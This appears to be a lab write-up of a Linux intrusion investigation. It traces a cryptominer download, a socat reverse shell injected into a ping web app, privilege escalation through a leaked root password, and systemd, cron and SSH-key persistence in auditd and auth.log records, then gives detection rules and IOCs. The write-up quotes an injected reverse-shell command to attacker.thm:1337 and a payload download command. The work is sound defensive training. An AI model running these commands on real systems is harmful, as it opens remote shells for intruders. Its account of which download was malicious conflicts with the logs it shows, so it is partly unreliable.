type=EXECVE msg=audit(09/11/25 18:29:48.884:1120) : argc=1 a0=hostname
type=SYSCALL msg=audit(09/11/25 18:29:48.884:1120) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x6402fb76c290
a1=0x6402fb769380 a2=0x6402fb768ca0 a3=0x6402fb769380 items=2 ppid=3771 pid=3772 auid=itsupport uid=itsupport gid=i
tsupport euid=itsupport suid=itsupport fsuid=itsupport egid=itsupport sgid=itsupport fsgid=itsupport tty=pts2 ses=17
0 comm=hostname exe=/usr/bin/hostname subj=unconfined key=exec
----
type=PROCTITLE msg=audit(09/11/25 18:29:48.888:1121) : proctitle=uname -a
type=CWD msg=audit(09/11/25 18:29:48.888:1121) : cwd=/home/itsupport
type=EXECVE msg=audit(09/11/25 18:29:48.888:1121) : argc=2 a0=uname a1=-a
type=SYSCALL msg=audit(09/11/25 18:29:48.888:1121) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x6402fb769640
a1=0x6402fb769940 a2=0x6402fb768ca0 a3=0x6402fb769940 items=2 ppid=3771 pid=3773 auid=itsupport uid=itsupport gid=i
tsupport euid=itsupport suid=itsupport fsuid=itsupport egid=itsupport sgid=itsupport fsgid=itsupport tty=pts2 ses=17
0 comm=uname exe=/usr/bin/uname subj=unconfined key=exec
----
```

File Download and Cryptominer Deployment

Two files were downloaded onto the system, one via `curl` and one via `wget`. The `wget`-downloaded file was assessed as more likely malicious based on its name and source domain.

The attacker used `egrep` to search for three specific EDR process names before deploying the miner, attempting to confirm no active security tools would detect it. All three process names were found in the `auditd` log.

```

ubuntu@thm-vm:~$ sudo ausearch -i -x curl
----
type=PROCTITLE msg=audit(09/11/25 18:49:39.513:1270) : proctitle=curl http://drobbbox-online.thm/helper.sh -O /var/tmp/helper.sh
type=CWD msg=audit(09/11/25 18:49:39.513:1270) : cwd=/home/ubuntu
type=EXECVE msg=audit(09/11/25 18:49:39.513:1270) : argc=4 a0=curl a1=http://drobbbox-online.thm/helper.sh a2=-O a3=/var/tmp/helper.sh
type=SYSCALL msg=audit(09/11/25 18:49:39.513:1270) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x5ebf0ff7bab0 a1=0x5ebf0fe94890 a2=0x5ebf0ff7f680 a3=0x5ebf0ff2d490 items=2 ppid=3905 pid=3914 auid=ubuntu uid=ubuntu gid=ubuntu euid=ubuntu suid=ubuntu fsuid=ubuntu egid=ubuntu sgid=ubuntu fsgid=ubuntu tty=pts3 ses=174 comm=curl exe=/usr/bin/curl subj=unconfined key=exec
ubuntu@thm-vm:~$ sudo ausearch -i -x wget
----
type=PROCTITLE msg=audit(09/11/25 18:30:48.574:1132) : proctitle=wget https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-9.1.3-linux-x86_64.tar.gz
type=CWD msg=audit(09/11/25 18:30:48.574:1132) : cwd=/home/itsupport
type=EXECVE msg=audit(09/11/25 18:30:48.574:1132) : argc=2 a0=wget a1=https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-9.1.3-linux-x86_64.tar.gz
type=SYSCALL msg=audit(09/11/25 18:30:48.574:1132) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x647c7d919620 a1=0x647c7d919560 a2=0x647c7d90f550 a3=0x647c7d8bf500 items=2 ppid=3759 pid=3787 auid=itsupport uid=itsupport gid=itsupport euid=itsupport suid=itsupport fsuid=itsupport egid=itsupport sgid=itsupport fsgid=itsupport tty=pts2 ses=170 comm=wget exe=/usr/bin/wget subj=unconfined key=exec
----
type=PROCTITLE msg=audit(09/11/25 18:38:38.031:1177) : proctitle=wget --timeout 60 -U wget/1.21.4-lubuntu4.1 Ubuntu/24.04.3/LTS GNU/Linux/6.14.0-1012-aws/x86_64 AMD/EPYC/7571 cloud_id/aws -O- -
type=CWD msg=audit(09/11/25 18:38:38.031:1177) : cwd=/
type=EXECVE msg=audit(09/11/25 18:38:38.031:1177) : argc=8 a0=wget a1=--timeout a2=60 a3=-U a4=wget/1.21.4-lubuntu4.1 Ubuntu/24.04.3/LTS GNU/Linux/6.14.0-1012-aws/x86_64 AMD/EPYC/7571 cloud_id/aws a5=-O- a6=--content-on-error a7=htt
ps://motd.ubuntu.com
type=SYSCALL msg=audit(09/11/25 18:38:38.031:1177) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x561428a36560 a1=0x561428a36318 a2=0x561428a364f8 a3=0x8 items=2 ppid=3804 pid=3828 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=unset comm=wget exe=/usr/bin/wget subj=unconfined key=exec
ubuntu@thm-vm:~$ sudo ausearch -i -k exec | grep "helper.sh"
type=PROCTITLE msg=audit(09/11/25 18:49:39.513:1270) : proctitle=curl http://drobbbox-online.thm/helper.sh -O /var/tmp/helper.sh
type=EXECVE msg=audit(09/11/25 18:49:39.513:1270) : argc=4 a0=curl a1=http://drobbbox-online.thm/helper.sh a2=-O a3=/var/tmp/helper.sh
ubuntu@thm-vm:~$ █

```

The attacker used `egrep` to search for three specific EDR process names before deploying the miner, attempting to confirm no active security tools would detect it. All three process names were found in the `auditd` log.

DETECTION OPPORTUNITIES, PHASE 3

- Alert on `auditd` `execve` records for `systemd-detect-virt` or `ps aux` executed by a non-root, non-admin user account.
- Alert on `wget` or `curl` downloading files to temporary directories (`/tmp`, `/dev/shm`) or with suspicious filenames.
- Alert on high sustained CPU usage from an unknown process, especially one without a legitimate binary path in `/usr` or `/bin`.

Phase 4: Reverse Shell, Privilege Escalation, and Persistence

The final phase covers the most advanced stage of a Linux attack: establishing a reliable remote-control channel, gaining root access, and ensuring the attacker can return even after the session ends.

Reverse Shell via Command Injection

Running `127.0.0.1 && whoami` in TryPingMe confirmed command injection. The attacker then injected a `socat` reverse shell command: `127.0.0.1 && socat TCP:attacker.thm:1337 EXEC:sh`.

This instructed the server to open a shell and pipe it back to the attacker over TCP port 1337. Because the connection originates from the server outward, it bypasses inbound firewall rules. `Auditd` `execve` records in `/home/ubuntu/scenario` captured the full command and arguments.


```

ubuntu@thm-vm:~$ ausearch -i -if /home/ubuntu/scenario/audit.log|grep socat
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
type=PROCTITLE msg=audit(09/23/25 14:51:59.949:2121) : proctitle=/bin/sh -c ping -c 4 -W 1 10.14.105.255 && which socat
type=EXECVE msg=audit(09/23/25 14:51:59.949:2121) : argc=3 a0=/bin/sh a1=-c a2=ping -c 4 -W 1 10.14.105.255 && which socat
type=PROCTITLE msg=audit(09/23/25 14:52:04.014:2123) : proctitle=/bin/sh /usr/bin/which socat
type=EXECVE msg=audit(09/23/25 14:52:04.014:2123) : argc=3 a0=/bin/sh a1=/usr/bin/which a2=socat
type=PROCTITLE msg=audit(09/23/25 14:52:20.453:2124) : proctitle=/bin/sh -c ping -c 4 -W 1 10.14.105.255 && socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=EXECVE msg=audit(09/23/25 14:52:20.453:2124) : argc=3 a0=/bin/sh a1=-c a2=ping -c 4 -W 1 10.14.105.255 && socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=PROCTITLE msg=audit(09/23/25 14:52:23.512:2126) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=EXECVE msg=audit(09/23/25 14:52:23.512:2126) : argc=3 a0=socat a1=TCP:10.14.105.255:1337 a2=EXEC:sh,pty,stderr,setsid,sigint,sane
type=SYSCALL msg=audit(09/23/25 14:52:23.512:2126) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x5cf7b618a740 a1=0x5cf7b618a6b8 a2=0x5cf7b618a6d8 a3=0x8 items=2 ppid=2543 pid=2545 auid=unset uid=svctryingme gid=svctryingme euid=svctryingme suid=svctryingme fsuid=svctryingme egid=svctryingme sgid=svctryingme fsgid=svctryingme tty=(none) ses=unset comm=socat exe=/usr/bin/socat1 subj=unconfined key=exec
type=PROCTITLE msg=audit(09/23/25 14:52:23.564:2127) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=SYSCALL msg=audit(09/23/25 14:52:23.564:2127) : arch=x86_64 syscall=execve success=no exit=ENOENT(No such file or directory) a0=0x7ffe37b667c0 a1=0x62a683bd30b0 a2=0x62a683bd23c0 a3=0x1 items=1 ppid=2545 pid=2546 auid=unset uid=svctryingme gid=svctryingme euid=svctryingme suid=svctryingme fsuid=svctryingme egid=svctryingme sgid=svctryingme fsgid=svctryingme tty=(none) ses=unset comm=socat exe=/usr/bin/socat1 subj=unconfined key=exec
type=PROCTITLE msg=audit(09/23/25 14:52:23.564:2128) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=SYSCALL msg=audit(09/23/25 14:52:23.564:2128) : arch=x86_64 syscall=execve success=no exit=ENOENT(No such file or directory) a0=0x7ffe37b667c0 a1=0x62a683bd30b0 a2=0x62a683bd23c0 a3=0x1 items=1 ppid=2545 pid=2546 auid=unset uid=svctryingme gid=svctryingme euid=svctryingme suid=svctryingme fsuid=svctryingme egid=svctryingme sgid=svctryingme fsgid=svctryingme tty=(none) ses=unset comm=socat exe=/usr/bin/socat1 subj=unconfined key=exec
type=PROCTITLE msg=audit(09/23/25 14:52:23.565:2129) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
type=SYSCALL msg=audit(09/23/25 14:52:23.565:2129) : arch=x86_64 syscall=execve success=no exit=ENOENT(No such file or directory) a0=0x7ffe37b667c0 a1=0x62a683bd30b0 a2=0x62a683bd23c0 a3=0x1 items=1 ppid=2545 pid=2546 auid=unset uid=svctryingme gid=svctryingme euid=svctryingme suid=svctryingme fsuid=svctryingme egid=svctryingme sgid=svctryingme fsgid=svctryingme tty=(none) ses=unset comm=socat exe=/usr/bin/socat1 subj=unconfined key=exec
type=PROCTITLE msg=audit(09/23/25 14:52:23.565:2130) : proctitle=socat TCP:10.14.105.255:1337 EXEC:sh,pty,stderr,setsid,sigint,sane
ubuntu@thm-vm:~$

```

Privilege Escalation

The reverse shell provided access as the web server user, which has limited permissions. Auditd recorded the privilege escalation sequence as the attacker exploited a system misconfiguration to gain root access.

```

ubuntu@thm-vm:~$ sudo ausearch -i -if /home/ubuntu/scenario/audit.log|grep "pass"
type=PROCTITLE msg=audit(09/23/25 14:53:00.821:2134) : proctitle=find . -name *pass*
type=EXECVE msg=audit(09/23/25 14:53:00.821:2134) : argc=4 a0=find a1=- a2=-name a3=*pass*
type=PROCTITLE msg=audit(09/23/25 14:53:10.724:2136) : proctitle=grep -iR pass .
type=EXECVE msg=audit(09/23/25 14:53:10.724:2136) : argc=4 a0=grep a1=-iR a2=pass a3=.
ubuntu@thm-vm:~$ sudo ausearch -i -if /home/ubuntu/scenario/audit.log|grep proctitle=su
type=PROCTITLE msg=audit(09/23/25 14:53:49.262:2138) : proctitle=su root
ubuntu@thm-vm:~$ sudo ls -la /opt/tryingme
total 20
drwxr-xr-x 3 svctryingme svctryingme 4096 Sep 23 2025 .
drwxr-xr-x 3 root root 4096 Sep 19 2025 ..
-rw-rw-r-- 1 svctryingme svctryingme 120 Sep 22 2025 .env.local
-rw-r--r-- 1 svctryingme svctryingme 2331 Sep 23 2025 main.py
drwxr-xr-x 2 svctryingme svctryingme 4096 Sep 19 2025 templates
ubuntu@thm-vm:~$ sudo cat /opt/tryingme/.env.local
# Run the app from this user
# USER=root
# PASSWORD=nGql1pQkGa

# UPD: The file is no longer used, commented it for now
ubuntu@thm-vm:~$

```

Persistence Mechanisms

Two categories of persistence were identified and traced in the logs.

- Startup persistence: A cron job or systemd service was created to execute the attacker's code automatically on every system boot, without requiring any user action.

```

root@thm-vm:/home/ubuntu$ ausearch -i -f /etc/systemd
----
type=PROCTITLE msg=audit(09/23/25 17:06:42.860:834) : proctitle=nano /etc/systemd/system/tux.service
type=PATH msg=audit(09/23/25 17:06:42.860:834) : item=1 name=/etc/systemd/system/.tux.service.swp inode=534 dev=103:01 mode=file
,644 ouid=root ogid=root rdev=00:00 nametype=CREATE cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(09/23/25 17:06:42.860:834) : item=0 name=/etc/systemd/system/ inode=410 dev=103:01 mode=dir,755 ouid=root og
id=root rdev=00:00 nametype=PARENT cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(09/23/25 17:06:42.860:834) : cwd=/home/ubuntu
type=SYSCALL msg=audit(09/23/25 17:06:42.860:834) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x6462dcf76a80
a2=0_WRONLY|O_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1265 pid=1310 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid
=root sgid=root fsgid=root tty=pts1 ses=8 comm=nano exe=/usr/bin/nano subj=unconfined key=systemd
----
type=PROCTITLE msg=audit(09/23/25 17:06:54.825:835) : proctitle=nano /etc/systemd/system/tux.service
type=PATH msg=audit(09/23/25 17:06:54.825:835) : item=1 name=/etc/systemd/system/.tux.service.swp inode=534 dev=103:01 mode=file
,644 ouid=root ogid=root rdev=00:00 nametype=CREATE cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(09/23/25 17:06:54.825:835) : item=0 name=/etc/systemd/system/ inode=410 dev=103:01 mode=dir,755 ouid=root og
id=root rdev=00:00 nametype=PARENT cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(09/23/25 17:06:54.825:835) : cwd=/home/ubuntu
type=SYSCALL msg=audit(09/23/25 17:06:54.825:835) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x6462dcf76a80
a2=0_WRONLY|O_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1265 pid=1310 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid
=root sgid=root fsgid=root tty=pts1 ses=8 comm=nano exe=/usr/bin/nano subj=unconfined key=systemd
----
type=PROCTITLE msg=audit(09/23/25 17:07:11.421:836) : proctitle=nano /etc/systemd/system/tux.service
type=PATH msg=audit(09/23/25 17:07:11.421:836) : item=1 name=/etc/systemd/system/tux.service inode=616 dev=103:01 mode=file,644
ouid=root ogid=root rdev=00:00 nametype=CREATE cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(09/23/25 17:07:11.421:836) : item=0 name=/etc/systemd/system/ inode=410 dev=103:01 mode=dir,755 ouid=root og
id=root rdev=00:00 nametype=PARENT cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(09/23/25 17:07:11.421:836) : cwd=/home/ubuntu
type=SYSCALL msg=audit(09/23/25 17:07:11.421:836) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x6462dcfb9c40
a2=0_WRONLY|O_CREAT|O_TRUNC a3=0x1b6 items=2 ppid=1265 pid=1310 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid
=root sgid=root fsgid=root tty=pts1 ses=8 comm=nano exe=/usr/bin/nano subj=unconfined key=systemd
----
type=PROCTITLE msg=audit(06/01/26 11:14:40.807:214) : proctitle=wget -O /etc/systemd/system/badr.service https://tryhackme-badr-
deployment-production-ap-south-1.s3.ap-south-1.amazonaws.com/bad
type=PATH msg=audit(06/01/26 11:14:40.807:214) : item=1 name=/etc/systemd/system/badr.service inode=606 dev=103:02 mode=file,644
ouid=root ogid=root rdev=00:00 nametype=CREATE cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(06/01/26 11:14:40.807:214) : item=0 name=/etc/systemd/system/ inode=410 dev=103:02 mode=dir,755 ouid=root og
id=root rdev=00:00 nametype=PARENT cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(06/01/26 11:14:40.807:214) : cwd=/
type=SYSCALL msg=audit(06/01/26 11:14:40.807:214) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x5a0cab0e0900
a2=0_WRONLY|O_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1034 pid=1047 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid
=root sgid=root fsgid=root tty=(none) ses=unset comm=wget exe=/usr/bin/wget subj=unconfined key=systemd
root@thm-vm:/home/ubuntu$ cat /etc/systemd/system/tux.service
[Unit]
Description=Tux Helper Library
Wants=network-online.target
After=network-online.target

[Service]
ExecStart=/var/lib/misc/tux

[Install]
WantedBy=multi-user.target
root@thm-vm:/home/ubuntu$

```

```

root@thm-vm:/home/ubuntu$ ausearch -i -x crontab
----
type=PROCTITLE msg=audit(09/23/25 17:07:38.770:837) : proctitle=crontab -e
type=PATH msg=audit(09/23/25 17:07:38.770:837) : item=1 name=crontabs/tmp.P5H675 inode=564223 dev=103:01 mode=file,600 ouid=root
ogid=crontab rdev=00:00 nametype=CREATE cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(09/23/25 17:07:38.770:837) : item=0 name=crontabs/ inode=517077 dev=103:01 mode=dir,sticky,730 ouid=root ogi
d=crontab rdev=00:00 nametype=PARENT cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(09/23/25 17:07:38.770:837) : cwd=/var/spool/cron
type=SYSCALL msg=audit(09/23/25 17:07:38.770:837) : arch=x86_64 syscall=openat success=yes exit=5 a0=AT_FDCWD a1=0x5d5f36f771c0
a2=0_RDWR|O_CREAT|O_EXCL a3=0x180 items=2 ppid=1265 pid=1311 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root egid=c
rontab sgid=crontab fsgid=crontab tty=pts1 ses=8 comm=crontab exe=/usr/bin/crontab subj=unconfined key=cron
root@thm-vm:/home/ubuntu$ cat /var/backups/home.tar

```

- Account persistence: A new user account was created and an SSH public key was added to its authorised_keys file. This provides a permanent, password-free login path that survives the removal of the original vulnerability.

```

ubuntu@thm-vm:~$ cat /var/log/auth.log | grep -E "useradd|usermod"
2025-09-23T17:08:57.066900+00:00 thm-vm useradd[1323]: new group: name=koichi, GID=1002
2025-09-23T17:08:57.070626+00:00 thm-vm useradd[1323]: new user: name=koichi, UID=1002, GID=1002, home=/home/koichi, shell=/bin/
bash, from=/dev/pts/1
2025-09-23T17:09:46.339328+00:00 thm-vm usermod[1331]: add 'koichi' to group 'sudo'
2025-09-23T17:09:46.339656+00:00 thm-vm usermod[1331]: add 'koichi' to shadow group 'sudo'
ubuntu@thm-vm:~$ ausearch -i -f /.ssh/authorized_keys
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
-----
type=PROCTITLE msg=audit(09/23/25 17:08:26.870:838) : proctitle=bash
type=PATH msg=audit(09/23/25 17:08:26.870:838) : item=0 name=/root/.ssh/authorized_keys inode=256095 dev=103:01 mode=file,600 ou
id=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(09/23/25 17:08:26.870:838) : cwd=/root
type=SYSCALL msg=audit(09/23/25 17:08:26.870:838) : arch=x86_64 syscall=openat success=yes exit=3 a0=AT_FDCWD a1=0x5a843f9e03d0
a2=0 WRONLY O_CREAT O_APPEND a3=0x1b6 items=1 ppid=1264 pid=1265 auid=ubuntu uid=root gid=root euid=root suid=root fsuid=root eg
id=root sgid=root fsgid=root tty=pts1 ses=8 comm=bash exe=/usr/bin/bash subj=unconfined key=ssh
-----
type=PROCTITLE msg=audit(06/01/26 11:14:30.641:154) : proctitle=/usr/bin/python3 /usr/bin/cloud-init init
type=PATH msg=audit(06/01/26 11:14:30.641:154) : item=0 name=/home/ubuntu/.ssh/authorized_keys inode=256093 dev=103:02 mode=file
,600 ouid=ubuntu ogid=ubuntu rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(06/01/26 11:14:30.641:154) : cwd=/
type=SYSCALL msg=audit(06/01/26 11:14:30.641:154) : arch=x86_64 syscall=openat success=yes exit=5 a0=AT_FDCWD a1=0x724d3dfb7070
a2=0 WRONLY O_CREAT O_TRUNC O_CLOEXEC a3=0x1b6 items=1 ppid=1 pid=573 auid=unset uid=root gid=root euid=root suid=root fsuid=roo
t egid=root sgid=root fsgid=root tty=(none) ses=unset comm=cloud-init exe=/usr/bin/python3.12 subj=unconfined key=ssh
-----
type=PROCTITLE msg=audit(06/01/26 11:14:30.645:155) : proctitle=/usr/bin/python3 /usr/bin/cloud-init init
type=PATH msg=audit(06/01/26 11:14:30.645:155) : item=0 name=/root/.ssh/authorized_keys inode=256095 dev=103:02 mode=file,600 ou
id=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=none cap_fi=none cap_fe=0 cap_fver=0 cap_frootid=0
type=CWD msg=audit(06/01/26 11:14:30.645:155) : cwd=/
type=SYSCALL msg=audit(06/01/26 11:14:30.645:155) : arch=x86_64 syscall=openat success=yes exit=5 a0=AT_FDCWD a1=0x724d3e07a610
a2=0 WRONLY O_CREAT O_TRUNC O_CLOEXEC a3=0x1b6 items=1 ppid=1 pid=573 auid=unset uid=root gid=root euid=root suid=root fsuid=roo
t egid=root sgid=root fsgid=root tty=(none) ses=unset comm=cloud-init exe=/usr/bin/python3.12 subj=unconfined key=ssh
ubuntu@thm-vm:~$

```

DETECTION OPPORTUNITIES, PHASE 4

- Alert on auditd execve records for socat, nc (netcat), or bash with redirection operators combined with an external IP address.
- Alert new entries in /etc/crontab, /etc/cron.d, or /etc/systemd/system created by a non-root user or by a process with no legitimate purpose.
- Alert on useradd events followed by modification of the new user's ~/.ssh/authorized_keys file within the same session.
- Alert on sudo or su usage from a non-standard account immediately after a new user is created.

Indicators of Compromise (IOCs)

The following indicators were identified across all four phases of the investigation.

IOC Type	Value	Context
IP Address	91.224.92.79	IP address that successfully breached the root account via SSH after brute-forcing from the botnet campaign.
Username (Targeted)	root, roy, sol, user	Four accounts targeted by the botnet brute-force campaign, identified from repeated auth.log failed entries.
C2 Endpoint	attacker.thm:1337	Destination of the socat reverse shell. The attacker's machine listening on TCP port 1337 for an inbound shell connection.
Malicious Command	socat TCP:attacker.thm:1337 EXEC:sh	Reverse shell command injected into the TryPingMe web application through OS command injection.

Malicious Script	debug.sh	Automated discovery script found on the system. Contained system enumeration commands including the final ps CPU-sort command used before cryptominer deployment.
Sensitive File	/opt/tryingme/main.py	Python application file that the attacker attempted to open via the command injection vulnerability, confirmed in auditd open system call records.
Time Server	ntp.ubuntu.com	NTP server contacted by the VM for time synchronisation, identified from syslog. Used to validate log timestamps are reliable for timeline reconstruction.

MITRE ATT&CK Technique Mapping

Phase	Technique ID	Technique Name	Observed In
Initial Access	T1110	Brute Force, SSH Password Guessing	Phase 2, SSH auth.log
Initial Access	T1190	Exploit Public-Facing Application	Phase 2 and 4, TryPingMe web app
Execution	T1059.004	Unix Shell, Reverse Shell via socat	Phase 4, auditd execve records
Discovery	T1082	System Information Discovery	Phase 3, systemd-detect-virt
Discovery	T1057	Process Discovery (ps aux, egrep EDR)	Phase 3, auditd and bash history
Credential Access	T1552.004	Private Keys, SSH Key Addition	Phase 4, account persistence
Privilege Escalation	T1548	Abuse Elevation Control Mechanism	Phase 4, post reverse shell
Persistence	T1053.003	Scheduled Task via Cron	Phase 4, startup persistence
Persistence	T1136	Create Account, New User with SSH Key	Phase 4, account persistence
Impact	T1496	Resource Hijacking, Cryptominer	Phase 3, cryptominer deployment

Project Summary

This four-phase project traced a complete Linux server attack chain from initial reconnaissance to full system compromise.

An attacker brute-forces an exposed SSH port and breaches the root account. They immediately run discovery commands to fingerprint the environment, check for security tools, and deploy a cryptominer. In the more targeted campaign, they exploit a vulnerable web application to inject a socat reverse shell, escalate to root, and establish multiple persistence methods to ensure continued access.

Every step was visible in Linux logs. The key skill developed is knowing which log file to open, which tool to filter it with, and which pattern constitutes evidence of malicious activity rather than normal system behaviour.

Area Covered	Key Takeaway
Phase 1, Logging	Established key log sources and filtering tools. Completed NTP, auth.log SSH, dpkg.log, and auditd key-based investigation exercises.
Phase 2, Initial Access	Detected SSH brute-force via auth.log, confirmed IP 91.224.92.79 breaching root. Detected command injection (T1190) via process tree analysis in auditd.
Phase 3, post-Breach	Traced discovery commands, EDR evasion via egrep, wget file download, and cryptominer deployment (T1496) through auditd and bash history.
Phase 4, Persistence and Impact	Detected socat reverse shell (T1059.004), privilege escalation, cron persistence (T1053.003), and account persistence (T1136) with SSH key addition.
Tools Used	cat, grep, head, ausearch, journalctl, auditd, ps aux, systemd-detect-virt.
IOCs Identified	Attacker IP 91.224.92.79, C2 endpoint attacker.thm:1337, socat reverse shell command, debug.sh discovery script, targeted accounts root, roy, sol, user.